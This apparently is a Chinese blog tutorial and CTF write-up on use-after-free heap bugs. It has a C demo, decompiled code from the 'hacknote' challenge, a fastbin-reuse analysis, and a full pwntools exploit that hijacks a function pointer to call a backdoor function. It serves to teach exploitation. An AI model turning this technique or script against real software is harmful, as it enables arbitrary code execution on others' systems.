uaf漏洞入门

0x01 原理

uaf即use after free,也就是free后并没有将指针变量置为NULL,然后就可以再次使用那块内存。主要情况有:

  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

0x02 例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it");
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a->func("can not be printed...");
}

运行结果如下

1
2
3
4
5
6
➜  use_after_free git:(use_after_free) ✗ ./use_after_free                      
this is my function
I can also use it
call print my name
this pogram will crash...
[1] 38738 segmentation fault (core dumped) ./use_after_free

0x03 例题
根据题目我们可以看出程序最多添加5个note。每个note有两个字段,第一个是存储打印函数的地址,另一个是存储内内容的地址。

add_note

这个函数是向node_list中添加一个note。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
note *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
notelist[i]->put = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0->content = malloc(size);
if ( !notelist[i]->content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

用node字段的第一个位置存的print_node函数将第二位置存储的content打印出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]->put(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}

delete_note

delete_note 会根据给定的索引释放note。但是只是单纯的进行了free,而并没有设置为NULL,那么显然这里是存在uaf的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]->content);
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

0x03 利用分析

很直接的思路,将note的put函数字段改为后门函数magic函数的地址,从而实现在执行 pirnt node 的时候执行 magic 函数。所以我们必须利用写content 的时候来进行覆盖。具体采用的思路如下。

  • 申请 note0, real content size 为 32 (大小与note大小所在的bin不一样即可)
  • 申请 note1, real content size 为 32 (大小与 note 大小所在的bin不一样即可)
  • 释放 note0
  • 释放 note1
  • 此时,大小为16的 fast bin chunk 中链表为note1->note0
  • 申请note2, 并设置real content的大小为8,那么根据堆的分配规则
  • note2 其实会分配 note1 对应的堆块。
  • real content 对应的chunk其实是note0。
  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用magic函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    from pwn import *

    r = process('./hacknote')


    def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


    def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


    def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


    #gdb.attach(r)
    magic = 0x08048986

    addnote(32, "aaaa") # add note 0
    addnote(32, "ddaa") # add note 1

    delnote(0) # delete note 0
    delnote(1) # delete note 1

    addnote(8, p32(magic)) # add note 2

    printnote(0) # print note 0

    r.interactive()

0x04

总结一下思路

  • 劫持函数地址
  • 利用堆分配的机制,也就是malloc优先分配刚刚free过的相同大小的chunk。利用这一点,将chunk0的内存分配给chunk3 的content
  • 利用uaf向已经被free掉的内存中写入数据。
  • 成功劫持函数。
-------------本文结束感谢您的阅读-------------
+ +